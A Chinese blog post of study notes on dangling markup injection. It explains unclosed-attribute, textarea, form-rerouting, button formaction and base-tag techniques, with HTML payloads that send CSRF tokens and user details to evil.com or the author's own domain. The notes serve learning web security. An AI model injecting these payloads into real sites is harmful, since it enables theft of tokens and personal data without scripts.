louys louys

dangling markup attack(一)

in web相关read (306) 文章转载请注明来源!

前言

昨晚学习Lctf的wp的时候看到了一个有趣的姿势,叫做dangling markup attack,悬挂标签攻击。然后在谷歌搜索文章的时候,发现了这篇文章,讲了很多相关姿势。

正文

1.Dangling markup injection

最简单的一种攻击技巧是未闭合标签注入。通过写入未闭合的标签,使得语法解析器把下一个闭合前的所有html都当做属性值解析。(英语太菜,翻得不顺,凑合着看吧)

还是看代码实在

<img src='http://www.louys.net.cn/date.php?
<input type="hidden" name="xsrf_token" value="12345">
</div>

<img src='aa' />

img标签的src属性只有一个单引号,html解析器会把下一个单引号前的所有属性都当做src解析。

实际测试下来有几点需要注意

<img src='http://www.louys.net.cn/date.php?
<input type="hidden" name="xsrf_token" value="12345">
</div>

这样浏览器会报在属性值内遇到文件尾,就不会解析了。(用的火狐和Safari)

ps:这种姿势chrome 61会阻塞掉,其余版本不明。(从题目来看chrome 60应该是可以的)

2.<textarea>-based consumption

悬挂的单引号的威力取决于目标页面的构成,也就是下一个单引号出现的位置。而使用textarea这种类CDATA行为可以摆脱这种限制。(???)

<form action='http://evil.com/log.cgi'><textarea>           ← Injected line
...
<input type="hidden" name="xsrf_token" value="12345">
...
(EOF)

这种形式的payload,我在ff和safari上面都没有什么反应,是我有什么没参悟对吗,orz。

到是提到了两个有趣的链接

http://lists.w3.org/Archives/Public/public-html/2011Nov/0168.html

这里面提到html5为了迎合移动端,可能会提供html层面的自动提交表单的方法。

http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/

这里面也有一些有趣的姿势

3.Rerouting of existing forms

重定向已经存在的form标签,这是由于form标签不能嵌套,而且顶部的form标签拥有更高的优先级。

所以如果有机会在正常的form标签上方插入一个自己的form标签就能把数据导到自己的服务器上面了

<form action='http://evil.com/log.cgi'>                     ← Injected line
...
<form action='update_profile.php'>                          ← Legitimate, pre-existing form
...
<input type="text" name="real_name" value="John Q. Public">
...
</form>

这里在上文提到的文章中,提到了使用button标签来实现重定向

<form action='a'>
<input type="hidden" name="xsrf_token" value="12345">
<button name=xss type=submit formaction='http://www.louys.net.cn/a'>a
</form>
<input type="hidden" name="aaa" value="12345">
<button>a</button>

button的formaction不仅可以重定向form标签,而且和悬挂的单引号一样,可以吃掉后面的html。

运行这段html,你会发现虽然闭合了form标签,但是没有闭合的button使得后面的aaa也被当做参数发送了。

4.Use of <base> to hijack relative URLs

如果目标使用了相对url,我们就有机会使用base标签来改变表单提交的对象。

<base href='http://www.louys.net.cn/'>
<form action='update_profile.php'>  
<input type="text" name="real_name" value="John Q. Public">
<button>aaa</button>
</form>

在ff和chrome下,这个表单都被提交到了http://www.louys.net.cn/update_profile.php

5.Addendum: The limits of exfiltration defenses

原文比较长。概括起来就是现在的防御形式很多,特别是csp出来以后,js执行受到了很大限制并且往第三方发数据变得困难。但是我们仍旧可能在没有js和第三方服务器的情况下获得数据。

<base href='http://www.louys.net.cn/'>
<form action='/post_review.php'>
<input type='hidden' name='review_body' value="  <-injection
Your current shipping address:
  123 Evergreen Terrace
  Springfield, USA
<button>aaa</button>
</form>
<form action="/update_address.php">        <- Existing form (ignored by the parser)
<input type="hidden" name="xsrf_token" value="12345">
<button>aaa</button> 
</form>

通过悬挂的单引号,使得第二个form标签解析失败。这样用户在提交第二个表单的时候,就会把表单内容提交到第一个表单地址中。当第一个表单的地址是公开的时候,攻击者便能拿到用户信息。

本来打算搞成翻译的,后来就变成学习笔记了。(还分了一,二,三这样,怕是只有一了)

jrotty WeChat Pay

微信打赏

jrotty Alipay

支付宝打赏

文章二维码

扫描二维码,在手机上阅读!

此处评论已关闭

博客已萌萌哒运行
© 2018 由 Typecho 强力驱动.Theme by Yodu
前篇 后篇
雷姆
拉姆